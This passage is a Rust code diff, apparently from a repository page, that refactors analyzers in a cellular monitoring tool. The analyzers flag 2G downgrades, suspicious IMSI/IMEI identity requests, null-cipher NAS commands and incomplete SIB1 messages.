_ => Some(Event {
|
||||
event_type: EventType::Informational,
|
||||
message: format!("RRCConnectionRelease CarrierInfo: {carrier_info:?}"),
|
||||
}),
|
||||
fn analyze_information_element(
|
||||
&mut self,
|
||||
ie: &InformationElement,
|
||||
_packet_num: usize,
|
||||
) -> Option<Event> {
|
||||
if let InformationElement::LTE(lte_ie) = ie
|
||||
&& let LteInformationElement::DlDcch(msg_cont) = &**lte_ie
|
||||
&& let DL_DCCH_MessageType::C1(c1) = &msg_cont.message
|
||||
&& let DL_DCCH_MessageType_c1::RrcConnectionRelease(release) = c1
|
||||
&& let RRCConnectionReleaseCriticalExtensions::C1(c1) = &release.critical_extensions
|
||||
&& let RRCConnectionReleaseCriticalExtensions_c1::RrcConnectionRelease_r8(r8_ies) = c1
|
||||
&& let Some(carrier_info) = &r8_ies.redirected_carrier_info
|
||||
{
|
||||
match carrier_info {
|
||||
RedirectedCarrierInfo::Geran(_carrier_freqs_geran) => Some(Event {
|
||||
event_type: EventType::High,
|
||||
message: "Detected 2G downgrade".to_owned(),
|
||||
}),
|
||||
_ => Some(Event {
|
||||
event_type: EventType::Informational,
|
||||
message: format!("RRCConnectionRelease CarrierInfo: {carrier_info:?}"),
|
||||
}),
|
||||
}
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,7 +3,7 @@ use std::borrow::Cow;
|
||||
use pycrate_rs::nas::NASMessage;
|
||||
use pycrate_rs::nas::emm::EMMMessage;
|
||||
|
||||
use super::analyzer::{Analyzer, Event, EventType, Severity};
|
||||
use super::analyzer::{Analyzer, Event, EventType};
|
||||
use super::information_element::{InformationElement, LteInformationElement};
|
||||
use log::debug;
|
||||
|
||||
@@ -23,7 +23,6 @@ pub enum State {
|
||||
}
|
||||
|
||||
pub struct ImsiRequestedAnalyzer {
|
||||
packet_num: usize,
|
||||
state: State,
|
||||
timeout_counter: usize,
|
||||
flag: Option<Event>,
|
||||
@@ -38,49 +37,52 @@ impl Default for ImsiRequestedAnalyzer {
|
||||
impl ImsiRequestedAnalyzer {
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
packet_num: 0,
|
||||
state: State::Unattached,
|
||||
timeout_counter: 0,
|
||||
flag: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn transition(&mut self, next_state: State) {
|
||||
fn transition(&mut self, next_state: State, packet_num: usize) {
|
||||
match (&self.state, &next_state) {
|
||||
// Reset timeout on successful auth
|
||||
(_, State::AuthAccept) => {
|
||||
debug!(
|
||||
"reset timeout counter at {} due to auth accept (frame {})",
|
||||
self.timeout_counter, self.packet_num
|
||||
self.timeout_counter, packet_num
|
||||
);
|
||||
self.timeout_counter = 0;
|
||||
}
|
||||
|
||||
// Unexpected IMSI without AttachRequest
|
||||
(current, State::IdentityRequest) if *current != State::AttachRequest => {
|
||||
// IMSI or IMEI requested after auth accept
|
||||
(State::AuthAccept, State::IdentityRequest) => {
|
||||
self.flag = Some(Event {
|
||||
event_type: EventType::QualitativeWarning {
|
||||
severity: Severity::High,
|
||||
},
|
||||
message: format!(
|
||||
"Identity requested without Attach Request (frame {})",
|
||||
self.packet_num
|
||||
)
|
||||
.to_string(),
|
||||
event_type: EventType::High,
|
||||
message: "Identity requested after auth request".to_string(),
|
||||
});
|
||||
}
|
||||
|
||||
// Unexpected IMSI without AttachRequest
|
||||
(State::Disconnect, State::IdentityRequest) => {
|
||||
self.flag = Some(Event {
|
||||
event_type: EventType::High,
|
||||
message: "Identity requested without Attach Request".to_string(),
|
||||
});
|
||||
}
|
||||
|
||||
// IMSI to Disconnect without AuthAccept
|
||||
(State::IdentityRequest, State::Disconnect) => {
|
||||
self.flag = Some(Event {
|
||||
event_type: EventType::QualitativeWarning {
|
||||
severity: Severity::High,
|
||||
},
|
||||
message: format!(
|
||||
"Disconnected after Identity Request without Auth Accept (frame {})",
|
||||
self.packet_num
|
||||
)
|
||||
.to_string(),
|
||||
event_type: EventType::High,
|
||||
message: "Disconnected after Identity Request without Auth Accept".to_string(),
|
||||
});
|
||||
}
|
||||
|
||||
// Notify on any identity reqeust (IMEI or IMSI)
|
||||
(_, State::IdentityRequest) => {
|
||||
self.flag = Some(Event {
|
||||
event_type: EventType::Informational,
|
||||
message: "Identity Request happened but its not suspicious yet.".to_string(),
|
||||
});
|
||||
self.timeout_counter = 0;
|
||||
}
|
||||
@@ -89,7 +91,7 @@ impl ImsiRequestedAnalyzer {
|
||||
_ => {
|
||||
debug!(
|
||||
"Transition from {:?} to {:?} at {}",
|
||||
self.state, next_state, self.packet_num
|
||||
self.state, next_state, packet_num
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -98,43 +100,45 @@ impl ImsiRequestedAnalyzer {
|
||||
}
|
||||
|
||||
impl Analyzer for ImsiRequestedAnalyzer {
|
||||
fn get_name(&self) -> Cow<str> {
|
||||
fn get_name(&self) -> Cow<'_, str> {
|
||||
Cow::from("Identity (IMSI or IMEI) requested in suspicious manner")
|
||||
}
|
||||
|
||||
fn get_description(&self) -> Cow<str> {
|
||||
fn get_description(&self) -> Cow<'_, str> {
|
||||
Cow::from(
|
||||
"Tests whether the ME sends an Identity Request NAS message without either an associated attach request or auth accept message",
|
||||
)
|
||||
}
|
||||
|
||||
fn get_version(&self) -> u32 {
|
||||
2
|
||||
3
|
||||
}
|
||||
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
|
||||
self.packet_num += 1;
|
||||
|
||||
fn analyze_information_element(
|
||||
&mut self,
|
||||
ie: &InformationElement,
|
||||
packet_num: usize,
|
||||
) -> Option<Event> {
|
||||
if let InformationElement::LTE(inner) = ie {
|
||||
match &**inner {
|
||||
LteInformationElement::NAS(payload) => match payload {
|
||||
NASMessage::EMMMessage(EMMMessage::EMMExtServiceRequest(_))
|
||||
| NASMessage::EMMMessage(EMMMessage::EMMAttachRequest(_)) => {
|
||||
self.transition(State::AttachRequest);
|
||||
self.transition(State::AttachRequest, packet_num);
|
||||
}
|
||||
NASMessage::EMMMessage(EMMMessage::EMMIdentityRequest(_)) => {
|
||||
self.transition(State::IdentityRequest);
|
||||
self.transition(State::IdentityRequest, packet_num);
|
||||
}
|
||||
NASMessage::EMMMessage(EMMMessage::EMMAttachComplete(_))
|
||||
| NASMessage::EMMMessage(EMMMessage::EMMAuthenticationResponse(_)) => {
|
||||
self.transition(State::AuthAccept);
|
||||
self.transition(State::AuthAccept, packet_num);
|
||||
}
|
||||
NASMessage::EMMMessage(EMMMessage::EMMServiceReject(_))
|
||||
| NASMessage::EMMMessage(EMMMessage::EMMAttachReject(_))
|
||||
| NASMessage::EMMMessage(EMMMessage::EMMDetachRequestMO(_))
|
||||
| NASMessage::EMMMessage(EMMMessage::EMMDetachRequestMT(_))
|
||||
| NASMessage::EMMMessage(EMMMessage::EMMTrackingAreaUpdateReject(_)) => {
|
||||
self.transition(State::Disconnect);
|
||||
self.transition(State::Disconnect, packet_num);
|
||||
}
|
||||
_ => {}
|
||||
},
|
||||
@@ -144,7 +148,7 @@ impl Analyzer for ImsiRequestedAnalyzer {
|
||||
| UL_CCCH_MessageType::C1(
|
||||
UL_CCCH_MessageType_c1::RrcConnectionReestablishmentRequest(_),
|
||||
) => {
|
||||
self.transition(State::AttachRequest);
|
||||
self.transition(State::AttachRequest, packet_num);
|
||||
}
|
||||
_ => {}
|
||||
},
|
||||
@@ -154,7 +158,7 @@ impl Analyzer for ImsiRequestedAnalyzer {
|
||||
_,
|
||||
)) = rrc_payload.message
|
||||
{
|
||||
self.transition(State::Disconnect)
|
||||
self.transition(State::Disconnect, packet_num)
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
@@ -165,16 +169,12 @@ impl Analyzer for ImsiRequestedAnalyzer {
|
||||
self.timeout_counter += 1;
|
||||
debug!(
|
||||
"timeout: counter {}, packet: {}",
|
||||
self.timeout_counter, self.packet_num
|
||||
self.timeout_counter, packet_num
|
||||
);
|
||||
if self.timeout_counter >= TIMEOUT_THRESHHOLD {
|
||||
self.flag = Some(Event {
|
||||
event_type: EventType::Informational {},
|
||||
message: format!(
|
||||
"Identity request happened without auth request followup (frame {})",
|
||||
self.packet_num
|
||||
)
|
||||
.to_string(),
|
||||
message: "Identity request happened without auth request followup".to_string(),
|
||||
});
|
||||
self.timeout_counter = 0;
|
||||
}
|
||||
|
||||
@@ -2,57 +2,38 @@ use std::borrow::Cow;
|
||||
|
||||
use telcom_parser::lte_rrc::{BCCH_DL_SCH_MessageType, BCCH_DL_SCH_MessageType_c1};
|
||||
|
||||
use crate::analysis::util::unpack;
|
||||
|
||||
use super::analyzer::{Analyzer, Event, EventType, Severity};
|
||||
use super::analyzer::{Analyzer, Event, EventType};
|
||||
use super::information_element::{InformationElement, LteInformationElement};
|
||||
|
||||
pub struct IncompleteSibAnalyzer {
|
||||
packet_num: usize,
|
||||
}
|
||||
|
||||
impl Default for IncompleteSibAnalyzer {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
impl IncompleteSibAnalyzer {
|
||||
pub fn new() -> Self {
|
||||
Self { packet_num: 0 }
|
||||
}
|
||||
}
|
||||
pub struct IncompleteSibAnalyzer {}
|
||||
|
||||
impl Analyzer for IncompleteSibAnalyzer {
|
||||
fn get_name(&self) -> Cow<str> {
|
||||
fn get_name(&self) -> Cow<'_, str> {
|
||||
Cow::from("Incomplete SIB")
|
||||
}
|
||||
|
||||
fn get_description(&self) -> Cow<str> {
|
||||
fn get_description(&self) -> Cow<'_, str> {
|
||||
Cow::from("Tests whether a SIB1 message contains a full chain of followup sibs")
|
||||
}
|
||||
|
||||
fn get_version(&self) -> u32 {
|
||||
1
|
||||
2
|
||||
}
|
||||
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
|
||||
self.packet_num += 1;
|
||||
|
||||
unpack!(InformationElement::LTE(lte_ie) = ie);
|
||||
unpack!(LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie);
|
||||
unpack!(BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message);
|
||||
unpack!(BCCH_DL_SCH_MessageType_c1::SystemInformationBlockType1(sib1) = c1);
|
||||
|
||||
if sib1.scheduling_info_list.0.len() < 2 {
|
||||
fn analyze_information_element(
|
||||
&mut self,
|
||||
ie: &InformationElement,
|
||||
_packet_num: usize,
|
||||
) -> Option<Event> {
|
||||
if let InformationElement::LTE(lte_ie) = ie
|
||||
&& let LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie
|
||||
&& let BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message
|
||||
&& let BCCH_DL_SCH_MessageType_c1::SystemInformationBlockType1(sib1) = c1
|
||||
&& sib1.scheduling_info_list.0.len() < 2
|
||||
{
|
||||
return Some(Event {
|
||||
event_type: EventType::QualitativeWarning {
|
||||
severity: Severity::Medium,
|
||||
},
|
||||
message: format!(
|
||||
"SIB1 scheduling info list was malformed (packet {})",
|
||||
self.packet_num
|
||||
),
|
||||
event_type: EventType::Informational,
|
||||
message: "SIB1 scheduling info list was malformed".to_string(),
|
||||
});
|
||||
}
|
||||
None
|
||||
|
||||
@@ -6,4 +6,5 @@ pub mod information_element;
|
||||
pub mod nas_null_cipher;
|
||||
pub mod null_cipher;
|
||||
pub mod priority_2g_downgrade;
|
||||
pub mod test_analyzer;
|
||||
pub mod util;
|
||||
|
||||
@@ -4,31 +4,17 @@ use pycrate_rs::nas::NASMessage;
|
||||
use pycrate_rs::nas::emm::EMMMessage;
|
||||
use pycrate_rs::nas::generated::emm::emm_security_mode_command::NASSecAlgoCiphAlgo::EPSEncryptionAlgorithmEEA0Null;
|
||||
|
||||
use super::analyzer::{Analyzer, Event, EventType, Severity};
|
||||
use super::analyzer::{Analyzer, Event, EventType};
|
||||
use super::information_element::{InformationElement, LteInformationElement};
|
||||
|
||||
pub struct NasNullCipherAnalyzer {
|
||||
packet_num: usize,
|
||||
}
|
||||
|
||||
impl Default for NasNullCipherAnalyzer {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
impl NasNullCipherAnalyzer {
|
||||
pub fn new() -> Self {
|
||||
Self { packet_num: 0 }
|
||||
}
|
||||
}
|
||||
pub struct NasNullCipherAnalyzer {}
|
||||
|
||||
impl Analyzer for NasNullCipherAnalyzer {
|
||||
fn get_name(&self) -> Cow<str> {
|
||||
fn get_name(&self) -> Cow<'_, str> {
|
||||
Cow::from("NAS Null Cipher Requested")
|
||||
}
|
||||
|
||||
fn get_description(&self) -> Cow<str> {
|
||||
fn get_description(&self) -> Cow<'_, str> {
|
||||
Cow::from(
|
||||
"Tests whether the MME requests to use a null cipher in the NAS security mode command",
|
||||
)
|
||||
@@ -38,8 +24,11 @@ impl Analyzer for NasNullCipherAnalyzer {
|
||||
1
|
||||
}
|
||||
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
|
||||
self.packet_num += 1;
|
||||
fn analyze_information_element(
|
||||
&mut self,
|
||||
ie: &InformationElement,
|
||||
_packet_num: usize,
|
||||
) -> Option<Event> {
|
||||
let payload = match ie {
|
||||
InformationElement::LTE(inner) => match &**inner {
|
||||
LteInformationElement::NAS(payload) => payload,
|
||||
@@ -48,18 +37,13 @@ impl Analyzer for NasNullCipherAnalyzer {
|
||||
_ => return None,
|
||||
};
|
||||
|
||||
if let NASMessage::EMMMessage(EMMMessage::EMMSecurityModeCommand(req)) = payload {
|
||||
if req.nas_sec_algo.inner.ciph_algo == EPSEncryptionAlgorithmEEA0Null {
|
||||
return Some(Event {
|
||||
event_type: EventType::QualitativeWarning {
|
||||
severity: Severity::High,
|
||||
},
|
||||
message: format!(
|
||||
"NAS Security mode command requested null cipher(packet {})",
|
||||
self.packet_num
|
||||
),
|
||||
});
|
||||
}
|
||||
if let NASMessage::EMMMessage(EMMMessage::EMMSecurityModeCommand(req)) = payload
|
||||
&& req.nas_sec_algo.inner.ciph_algo == EPSEncryptionAlgorithmEEA0Null
|
||||
{
|
||||
return Some(Event {
|
||||
event_type: EventType::High,
|
||||
message: "NAS Security mode command requested null cipher".to_string(),
|
||||
});
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user